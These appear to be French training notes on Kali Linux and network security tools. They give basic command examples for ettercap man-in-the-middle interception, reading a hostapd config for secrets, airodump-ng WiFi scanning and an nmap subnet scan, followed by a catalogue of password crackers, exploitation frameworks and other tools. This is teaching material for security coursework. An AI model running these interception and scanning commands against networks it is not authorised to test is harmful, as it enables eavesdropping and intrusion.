26. **Attaque de type Man-in-the-Middle (MitM) avec Ettercap**- **Commande :** `ettercap`
- **Description :** Utilisez Ettercap pour intercepter et manipuler le trafic réseau entre deux parties.
- **Exemple :**
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 588px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ36 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">ettercap -G</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

27. **Analyse des fichiers de configuration**- **Commande :** `cat`
- **Description :** Examinez les fichiers de configuration des réseaux WiFi pour identifier des informations sensibles ou des vulnérabilités.
- **Exemple :**
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 588px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ37 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">cat /etc/hostapd.conf</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

28. **Utilisation de Wireshark pour la capture des paquets**- **Commande :** `wireshark`
- **Description :** Utilisez Wireshark pour capturer et analyser les paquets réseau en temps réel. Cela peut aider à identifier des vulnérabilités spécifiques et à comprendre le trafic réseau.
- **Exemple :**
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 588px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ38 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">wireshark</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

29. **Analyse des logs**- **Commande :** `tail`
- **Description :** Examinez les logs des systèmes pour identifier des activités suspectes ou des vulnérabilités.
- **Exemple :**
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 588px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ39 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">tail -f /var/log/syslog</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms; animation-name: cm-blink;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;"><div class="cm-selectionBackground" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; background: rgb(62, 68, 81); left: 20px; top: 14px; width: 199.281px; height: 16px;">  
    </div></div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

# Mission 10 — Scripts d’automatisation (optionnels mais utiles)

<div id="bkmrk-objectif-%3A-gagner-du">**Objectif** : Gagner du temps et produire des preuves horodatées automatiquement.</div><div id="bkmrk-"></div><div id="bkmrk-script-auto-1-%3A%C2%A0">Script auto 1 : </div><div id="bkmrk--1"></div><div id="bkmrk-%23%21%2Fusr%2Fbin%2Fenv-bash-"><table border="1" style="border-collapse: collapse; width: 100%;"><tbody><tr><td><div class="scriptor-paragraph">\#!/usr/bin/env bash</div><div class="scriptor-paragraph">TS=$(date +%F_%H%M%S)</div><div class="scriptor-paragraph">nmap -sS -p 22,80,443 172.16.10.0/24 -oN scan_$TS.txt</div></td></tr></tbody></table>

</div>Script auto 2 :

<table border="1" id="bkmrk-%23%21%2Fusr%2Fbin%2Fenv-bash--1" style="border-collapse: collapse; width: 100%; height: 27.7969px;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr style="height: 27.7969px;"><td style="height: 27.7969px;"><div class="scriptor-paragraph">\#!/usr/bin/env bash</div><div class="scriptor-paragraph">TS=$(date +%F_%H%M%S)</div><div class="scriptor-paragraph">grep -Ei 'SEC|ARP|DAI|DHCP|PORT-SEC|ACL' /var/log/syslog &gt; events_$TS.log</div></td></tr></tbody></table>

# 9.2 Kali video / doc

Utilisés pour décoder ou récupérer un mot de passe  
Ex : **John the Ripper**, Ophcrack, L0phtCrack, THC Hydra, RainbowCrack, et Medusa

\--&gt; [https://www.youtube.com/watch?v=wj-moIzMJtI](https://www.youtube.com/watch?v=wj-moIzMJtI)

Vulnérabilité du résolveur DNS Outils de piratage sans fil  
Ex : **Aircrack-ng**, Kismet, InSSIDer, KisMAC, Firesheep et NetStumbler

\--&gt; [https://www.youtube.com/watch?v=9bEovGdMPtc](https://www.youtube.com/watch?v=9bEovGdMPtc)

Analyse et de piratage réseau sonder les périphériques réseau, les serveurs et hôtes pour les ports TCP ou UDP ouverts  
Ex : Nmap, SuperScan, Angry IP Scanner, et NetScanTools

\--&gt; [https://www.youtube.com/watch?v=dkmTVVmiG5A](https://www.youtube.com/watch?v=dkmTVVmiG5A)

Outils de création de paquets peut nécessiter le redémarrage du résolveur ouvert DNS ou des services  
sonder et tester robustesse d'un pare-feu en utilisant des paquets spécialement conçus  
Ex : Hping, Scapy, **Socat**, Yersinia, Netcat, Nping, et Nemesis

\--&gt; [https://www.youtube.com/watch?v=vX5YZ1jO7Zo](https://www.youtube.com/watch?v=vX5YZ1jO7Zo)

Renifleurs de paquets l'acteur de menace envoie deux réponses ARP usurpées gratuitement en utilisant sa propre adresse MAC pour les adresses IP de destination indiquées.   
Utilisés pour capturer et analyser les paquets au sein de LAN Ethernet ou WLAN  
Ex : Wireshark, Tcpdump, Ettercap, Dsniff, EtherApe, Paros, Fiddler, Ratproxy, et SSLstrip

\--&gt; [https://www.youtube.com/watch?v=M0hZ5ko32is](https://www.youtube.com/watch?v=M0hZ5ko32is)

Détecteurs de rootkit vérificateur d'intégrité des répertoires et des fichiers utilisé par les chapeaux blancs pour détecter les root kits installés.  
Ex : AIDE, Netfilter et PF: OpenBSD Packet Filter

\--&gt; [https://www.youtube.com/watch?v=ZtI4QhOZLNM](https://www.youtube.com/watch?v=ZtI4QhOZLNM)

Fuzzers Générateurs de bruits pour rechercher des vulnérabilités  
Ex : Skipfish, Wapiti, et W3af

\--&gt; [https://www.youtube.com/watch?v=kIIeLA78E-k](https://www.youtube.com/watch?v=kIIeLA78E-k)

Outils d'investigation : Utilisés par les pirates à chapeau blanc pour flairer toute trace de preuves existant dans un ordinateur  
Ex : Maltego, Helix, Maltego, et Encase

\--&gt;

Débogueurs  
Utilisés par les chapeaux noirs pour faire de l'ingénierie inverse sur des fichiers binaires lors de l'écriture d'exploits.   
Attaquant doit usurper l'adresse IP d'un hôte prédire le numéro de séquence suivant et envoyer un ACK à l'autre hôte  
également utilisés par les chapeaux blancs lors de l'analyse des logiciels malveillants  
Ex : GDB, WinDbg, IDA Pro et **Immunity Debugger**

\--&gt; [https://www.youtube.com/watch?v=iQf1OvTREvg](https://www.youtube.com/watch?v=iQf1OvTREvg)

OS de piratage   
OS spécialement conçus, préchargés avec des outils optimisés pour le piratage  
Ex : Kali Linux, Knoppix, BackBox Linux

\--&gt;

Outils de chiffrement  
coder les données afin d'empêcher tout accès non autorisé aux données cryptées  
Ex : VeraCrypt, CipherShed, OpenSSH, OpenSSL, Tor, OpenVPN et Stunnel

\--&gt; [https://www.youtube.com/watch?v=J2JKh9mOy8U](https://www.youtube.com/watch?v=J2JKh9mOy8U)  
\--&gt; [https://www.youtube.com/watch?v=6CqT96d4-8Y](https://www.youtube.com/watch?v=6CqT96d4-8Y)

Outils d'exploitation des vulnérabilités  
Déterminer si un hôte distant est vulnérable à une attaque de sécurité  
Ex : Metasploit, Core Impact, Sqlmap, Social Engineer Toolkit, et Netsparker

\--&gt; [https://www.youtube.com/shorts/jBTW8wWnkqU](https://www.youtube.com/shorts/jBTW8wWnkqU)

Analyseurs devulnérabilité  
Analysent un réseau ou un système pour identifier les ports ouverts  
utilisé également pour rechercher vulnérabilités connues et analyser les MV, BYOD périphériques et BDD client  
Ex : Nipper, Secunia PSI, Core Impact, Nessus v6, SAINT, et Open VAS

\--&gt; [https://www.youtube.com/watch?v=EaA5pLAwnkc](https://www.youtube.com/watch?v=EaA5pLAwnkc)  
\--&gt; https://www.youtube.com/watch?v=vvp\_OnKjhik

# Kali linux sans internet

### <span style="color: rgb(0, 0, 0);">1. **Scan des réseaux WiFi**</span>

- <span style="color: rgb(0, 0, 0);">**Commande :** `airodump-ng`</span>
- <span style="color: rgb(0, 0, 0);">**Description :** Utilisez `airodump-ng` pour scanner les réseaux WiFi disponibles et capturer les paquets pour analyser les trames de données.</span>
- <span style="color: rgb(0, 0, 0);">**Exemple :**</span>
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ40 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">airodump-ng wlan0</span></div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

### <span style="color: rgb(0, 0, 0);">2. **Détection des clients connectés**</span>

- <span style="color: rgb(0, 0, 0);">**Commande :** `airodump-ng`</span>
- <span style="color: rgb(0, 0, 0);">**Description :** Vous pouvez utiliser `airodump-ng` pour détecter les clients connectés à un réseau WiFi spécifique.</span>
- <span style="color: rgb(0, 0, 0);">**Exemple :**</span>
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ41 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
